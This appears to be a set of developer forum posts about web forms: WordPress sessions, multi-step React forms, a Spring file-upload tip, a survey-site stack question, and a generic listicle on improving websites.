Guys I've inherited an older WordPress plug-in that was custom made by a previous developer. I'm refactoring it as it won't work with the latest wp but the previous dev has used sessions to send form variables from one form to another and I don't know why. I'd like it to be stateless in an ideal world but have been checking out the WordPress docs on cookies but they don't reveal a lot. Any ideas what I can do? Can I send the data without sessions using the native WordPress filters, hooks and actions etc. Cheers1
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I need some advices on how to do a react multiple steps form. A form allows student to submit their previous study and exchange credit in my univwrwity. Username and password at start. Then text fields, date selection, drop list with lots of data from backend, upload files. Click next to next steps or previous steps. It seems complicated. Thinking to use react and redux. Any advice...
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9 Ways to Improve Your Website in 2020
Online customers are very picky these days. Plenty of quality sites and services tend to spoil them. Without leaving their homes, they can carefully probe your company and only then decide whether to deal with you or not. The first thing customers will look at is your website, so everything should be ideal there.
Not everyone succeeds in doing things perfectly well from the first try. For websites, this fact is particularly true. Besides, it is never too late to improve something and make it even better.
In this article, you will find the best recommendations on how to get a great website and win the hearts of online visitors.
Take care of security
It is unacceptable if customers who are looking for information or a product on your site find themselves infected with malware. Take measures to protect your site and visitors from new viruses, data breaches, and spam.
Take care of the SSL certificate. It should be monitored and updated if necessary.
Be sure to install all security updates for your CMS. A lot of sites get hacked through vulnerable plugins. Try to reduce their number and update regularly too.
Ride it quick
Webpage loading speed is what the visitor will notice right from the start. The war for milliseconds just begins. Speeding up a site is not so difficult. The first thing you can do is apply the old proven image compression. If that is not enough, work on caching or simplify your JavaScript and CSS code. Using CDN is another good advice.
Choose a quality hosting provider
In many respects, both the security and the speed of the website depend on your hosting provider. Do not get lost selecting the hosting provider. Other users share their experience with different providers on numerous discussion boards.
Content is king
Content is everything for the site. Content is blood, heart, brain, and soul of the website and it should be useful, interesting and concise. Selling texts are good, but do not chase only the number of clicks. An interesting article or useful instruction will increase customer loyalty, even if such content does not call to action.
Communication
Broadcasting should not be one-way. Make a convenient feedback form where your visitors do not have to fill out a million fields before sending a message. Do not forget about the phone, and what is even better, add online chat with a chatbot and\or live support reps.
Refrain from unpleasant surprises
Please mind, self-starting videos, especially with sound may irritate a lot of visitors and increase the bounce rate. The same is true about popups and sliders.
Next, do not be afraid of white space. Often site owners are literally obsessed with the desire to fill all the free space on the page with menus, banners and other stuff. Experiments with colors and fonts are rarely justified. Successful designs are usually brilliantly simple: white background + black text.
Mobile first
With such a dynamic pace of life, it is important to always keep up with trends, and the future belongs to mobile devices. We have already passed that line and mobile devices generate more traffic than desktop computers. This tendency will only increase, so adapt the layout and mind the mobile first and progressive advancement concepts.
Site navigation
Your visitors should be your priority. Use human-oriented terms and concepts to build navigation instead of search engine oriented phrases.
Do not let your visitors get stuck on your site. Always provide access to other pages, but be sure to mention which particular page will be opened so that the visitor understands exactly where and why he goes.
Technical audit
The site can be compared to a house - you always need to monitor the performance of all systems, and there is always a need to fix or improve something. Therefore, a technical audit of any project should be carried out regularly. It is always better if you are the first to notice the problem, and not your visitors or search engines.
As part of the audit, an analysis is carried out on such items as:
● Checking robots.txt / sitemap.xml files
● Checking duplicates and technical pages
● Checking the use of canonical URLs
● Monitoring 404 error page and redirects
There are many tools that help you monitor your website performance and run regular audits.
Conclusion
I hope these tips will help your site become even better. If you have questions or want to share useful lifehacks, feel free to comment below.
Resources:
https://networkworld.com/article/...
https://webopedia.com/TERM/C/...
https://searchenginewatch.com/2019/...
https://macsecurity.net/view/...
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I would like to share this piece of knowledge for the web devs out there, even though it's probably known:
If you're using the Spring framework and you want to accept a list of items as a multipart/form-data request, then Spring will only be able to correctly deserialize your JavaScript FileList in the backend if you have scripted it as follows:
var data = ev.dataTransfer.files;
var formData = formData();
for (i = 0, j = data.length; i < j; i++) {
formData.append('files', data[i]);
}
The for loop with the 'files' name is key here. Why? Because then it will resolve into:
key=val&key=val&key=val
and that's how Spring will correctly be able to deserialize it into a List. We remember from our HTML learnings that if we want values in a form to be processed as one, we must provide the same name= for each element in the form, otherwise if you have a separate name for each input, it won't be passed on as one collection of values.
This is why my list was originally null when received in the backend.
Courtesy of StackOverflow:
https://stackoverflow.com/questions... -
Hello fellow devs. I wanna create a survey site, which will contain 3 surveys within. All 3 surveys, will contain around 50 questions, and will have a range of input options. The site will collect the data from a form, store it and probably live visualize them with a plot-like library .
I was thinking about using React for the front-end, Firebase for the back-end + Google-Sheets and one of the many react-libraries for plotting.
Do you think that this stack is appropriate for that kind of app ? I am a bit concerned about firebase's querying system or the scalability of the app. (Since it will hold a lot of questions and answers )
( It's survey for developers, so I hope in the future you will participate in it :D ).
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